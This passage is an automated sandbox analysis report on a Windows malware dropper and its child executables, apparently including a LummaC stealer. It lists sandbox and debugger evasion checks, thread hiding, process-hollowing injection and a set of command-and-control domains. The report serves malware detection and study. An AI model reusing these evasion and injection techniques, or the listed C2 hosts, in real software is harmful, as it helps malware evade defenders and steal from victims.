Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe TID: 5576 Thread sleep count: 1167 > 30
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe TID: 5576 Thread sleep time: -2335167s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe TID: 8104 Thread sleep count: 1426 > 30
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe TID: 8104 Thread sleep time: -2853426s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe TID: 7252 Thread sleep count: 1197 > 30
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe TID: 7252 Thread sleep time: -2395197s >= -30000s
Source: C:\Program Files\Windows Media Player\graph\graph.exe TID: 7304 Thread sleep count: 66 > 30
Source: C:\Program Files\Windows Media Player\graph\graph.exe TID: 7304 Thread sleep time: -66000s >= -30000s
Source: C:\Program Files\Windows Media Player\graph\graph.exe TID: 7304 Thread sleep count: 102 > 30
Source: C:\Program Files\Windows Media Player\graph\graph.exe TID: 7304 Thread sleep time: -102000s >= -30000s
Source: C:\Program Files\Windows Media Player\graph\graph.exe TID: 1988 Thread sleep count: 49 > 30
Source: C:\Program Files\Windows Media Player\graph\graph.exe TID: 1988 Thread sleep time: -49000s >= -30000s
Source: C:\Program Files\Windows Media Player\graph\graph.exe TID: 1988 Thread sleep count: 106 > 30
Source: C:\Program Files\Windows Media Player\graph\graph.exe TID: 1988 Thread sleep time: -106000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe TID: 4936 Thread sleep count: 1194 > 30
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe TID: 4936 Thread sleep time: -2389194s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe TID: 2180 Thread sleep count: 1206 > 30
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe TID: 2180 Thread sleep time: -2413206s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe TID: 6396 Thread sleep time: -32000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe TID: 1900 Thread sleep count: 1204 > 30
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe TID: 1900 Thread sleep time: -2409204s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe TID: 2924 Thread sleep count: 1224 > 30
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe TID: 2924 Thread sleep time: -2449224s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe TID: 2008 Thread sleep count: 1181 > 30
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe TID: 2008 Thread sleep time: -2363181s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe TID: 7104 Thread sleep count: 72 > 30
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe TID: 7104 Thread sleep time: -144072s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe TID: 7120 Thread sleep count: 67 > 30
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe TID: 7120 Thread sleep time: -134067s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe TID: 3264 Thread sleep time: -44000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe TID: 6428 Thread sleep count: 70 > 30
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe TID: 6428 Thread sleep time: -140070s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe TID: 7896 Thread sleep time: -300000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe TID: 6252 Thread sleep count: 91 > 30
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe TID: 6252 Thread sleep time: -182091s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe TID: 7140 Thread sleep count: 83 > 30
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe TID: 7140 Thread sleep time: -166083s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe TID: 8180 Thread sleep count: 108 > 30
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe TID: 8180 Thread sleep time: -216108s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe TID: 8072 Thread sleep count: 102 > 30
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe TID: 8072 Thread sleep time: -204102s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe TID: 7148 Thread sleep count: 100 > 30
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe TID: 7148 Thread sleep time: -200100s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe TID: 7016 Thread sleep count: 105 > 30
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe TID: 7016 Thread sleep time: -210105s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe TID: 5252 Thread sleep count: 87 > 30
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe TID: 5252 Thread sleep time: -174087s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe TID: 2696 Thread sleep time: -44000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe TID: 2212 Thread sleep count: 97 > 30
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe TID: 2212 Thread sleep time: -194097s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe TID: 2256 Thread sleep count: 103 > 30
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe TID: 2256 Thread sleep time: -206103s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe TID: 7064 Thread sleep count: 35 > 30
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe TID: 7064 Thread sleep time: -70035s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe TID: 7384 Thread sleep time: -36000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe TID: 1880 Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe TID: 6800 Thread sleep time: -58029s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe TID: 7176 Thread sleep time: -58029s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe TID: 7984 Thread sleep count: 35 > 30
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe TID: 7984 Thread sleep time: -70035s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe TID: 1104 Thread sleep count: 34 > 30
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe TID: 1104 Thread sleep time: -68034s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe TID: 7236 Thread sleep count: 33 > 30
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe TID: 7236 Thread sleep time: -66033s >= -30000s
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\1019800001\af155ed129.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\file.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 8_2_003436A9 FindFirstFileExW, 8_2_003436A9
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 8_2_0034375A FindFirstFileExW,FindNextFileW,FindClose,FindClose, 8_2_0034375A
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 10_2_003436A9 FindFirstFileExW, 10_2_003436A9
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 10_2_0034375A FindFirstFileExW,FindNextFileW,FindClose,FindClose, 10_2_0034375A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exe Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe File opened: C:\Users\user
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe File opened: C:\Users\user\Documents\desktop.ini
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe File opened: C:\Users\user\AppData
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe File opened: C:\Users\user\AppData\Local\Temp
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe File opened: C:\Users\user\Desktop\desktop.ini
Source: C:\Users\user\AppData\Local\Temp\1019803001\7739517025.exe File opened: C:\Users\user\AppData\Local
Source: file.exe Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: cc6f25572f.exe, 00000010.00000003.2843436830.000002B0C1B66000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000010.00000002.2885993899.000002B0C1B61000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWIh
Source: cd2469328d.exe, 0000000B.00000002.2792887182.0000000000CFD000.00000004.00000020.00020000.00000000.sdmp, cd2469328d.exe, 0000000B.00000003.2792015764.0000000000CFC000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWhc
Source: b05c9e01f3.exe, 00000016.00000002.3059346963.0000000000E61000.00000040.00000001.01000000.00000012.sdmp Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: file.exe, 00000000.00000003.1725731744.000000000139F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 7739517025.exe, 0000000D.00000002.2669175914.0000000001290000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: a-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}7
Source: 5cda6c90d7.exe, 0000000C.00000002.2870509764.00000000017B9000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2659069201.00000000017BB000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2773819917.00000000017B9000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2635795252.00000000017BB000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2773960939.00000000017BB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW`v
Source: cd2469328d.exe, 0000000B.00000003.2792191733.0000000000D38000.00000004.00000020.00020000.00000000.sdmp, cd2469328d.exe, 0000000B.00000002.2792985078.0000000000D38000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000002.2870509764.00000000017B9000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2659069201.00000000017BB000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2773819917.00000000017B9000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2635795252.00000000017BB000.00000004.00000020.00020000.00000000.sdmp, 5cda6c90d7.exe, 0000000C.00000003.2773960939.00000000017BB000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000010.00000003.2843436830.000002B0C1B66000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000010.00000002.2885993899.000002B0C1AE5000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000010.00000002.2885993899.000002B0C1B61000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: file.exe Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 5cda6c90d7.exe, 0000000C.00000002.2870509764.0000000001789000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWH
Source: b05c9e01f3.exe, 00000016.00000002.3059346963.0000000000E61000.00000040.00000001.01000000.00000012.sdmp Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\*recent_filesprocessesuptime_minutesC:\Windows\System32\VBox*.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: file.exe, 00000000.00000002.1759031975.0000000000A49000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1791335629.0000000000B99000.00000040.00000001.01000000.00000007.sdmp, 5cda6c90d7.exe, 0000000C.00000002.2863553827.000000000113E000.00000040.00000001.01000000.0000000B.sdmp, b05c9e01f3.exe, 00000016.00000002.3061587262.000000000113D000.00000040.00000001.01000000.00000012.sdmp, 35f0a75b93.exe, 0000002B.00000000.3400109760.0000000000741000.00000080.00000001.01000000.0000001D.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: b6638733e4.exe, 00000013.00000003.2915551052.0000000006B91000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Y\MACHINE\SYSTEM\ControlSet001\Services\VBoxSFlK'$
Source: b6638733e4.exe, 00000013.00000003.2912893712.0000000001972000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: cc6f25572f.exe, 00000011.00000002.2919171490.000001D669965000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2893696860.000001D669962000.00000004.00000020.00020000.00000000.sdmp, cc6f25572f.exe, 00000011.00000003.2874665665.000001D669960000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW.4
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\file.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\file.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Thread information set: HideFromDebugger
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe File opened: SIWVID
Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe System information queried: KernelDebuggerInformation
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019802001\5cda6c90d7.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019805001\b6638733e4.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019806001\b05c9e01f3.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019808001\c9d0f96e57.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1019809001\142c991362.exe Process queried: DebugPort
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_05120D04 rdtsc 0_2_05120D04
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 8_2_00335020 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 8_2_00335020
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0088652B mov eax, dword ptr fs:[00000030h] 0_2_0088652B
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_0088A302 mov eax, dword ptr fs:[00000030h] 0_2_0088A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 1_2_009DA302 mov eax, dword ptr fs:[00000030h] 1_2_009DA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 1_2_009D652B mov eax, dword ptr fs:[00000030h] 1_2_009D652B
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 8_2_0035519E mov edi, dword ptr fs:[00000030h] 8_2_0035519E
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 8_2_00331614 mov edi, dword ptr fs:[00000030h] 8_2_00331614
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 10_2_00331614 mov edi, dword ptr fs:[00000030h] 10_2_00331614
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 8_2_0033FE2C GetProcessHeap, 8_2_0033FE2C
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 8_2_00335020 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 8_2_00335020
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 8_2_00335014 SetUnhandledExceptionFilter, 8_2_00335014
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 8_2_00334C64 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 8_2_00334C64
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 8_2_0033B4B9 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 8_2_0033B4B9
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 10_2_00335020 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 10_2_00335020
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 10_2_00335014 SetUnhandledExceptionFilter, 10_2_00335014
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 10_2_00334C64 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 10_2_00334C64
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 10_2_0033B4B9 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 10_2_0033B4B9
Source: C:\Users\user\AppData\Local\Temp\1019810001\35f0a75b93.exe Memory protected: page guard

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: 35f0a75b93.exe PID: 7748, type: MEMORYSTR
Contains functionality to inject code into remote processes
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Code function: 8_2_0035519E GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread, 8_2_0035519E
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe Memory written: C:\Users\user\AppData\Local\Temp\1019801001\cd2469328d.exe base: 400000 value starts with: 4D5A Jump to behavior
LummaC encrypted strings found
Source: cd2469328d.exe, 00000008.00000002.2549517738.00000000013B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: rapeflowwj.lat
Source: cd2469328d.exe, 00000008.00000002.2549517738.00000000013B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: crosshuaht.lat
Source: cd2469328d.exe, 00000008.00000002.2549517738.00000000013B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: sustainskelet.lat
Source: cd2469328d.exe, 00000008.00000002.2549517738.00000000013B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: aspecteirs.lat
Source: cd2469328d.exe, 00000008.00000002.2549517738.00000000013B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: energyaffai.lat
Source: cd2469328d.exe, 00000008.00000002.2549517738.00000000013B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: necklacebudi.lat
Source: cd2469328d.exe, 00000008.00000002.2549517738.00000000013B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: discokeyus.lat
Source: cd2469328d.exe, 00000008.00000002.2549517738.00000000013B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: grannyejh.lat
Source: cd2469328d.exe, 00000008.00000002.2549517738.00000000013B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: pancakedipyps.click
Source: 5cda6c90d7.exe, 0000000C.00000002.2861737147.0000000000F71000.00000040.00000001.01000000.0000000B.sdmp String found in binary or memory: cheapptaxysu.click
Source: 142c991362.exe, 00000023.00000003.3330595087.00000000055E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: sweepyribs.lat
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
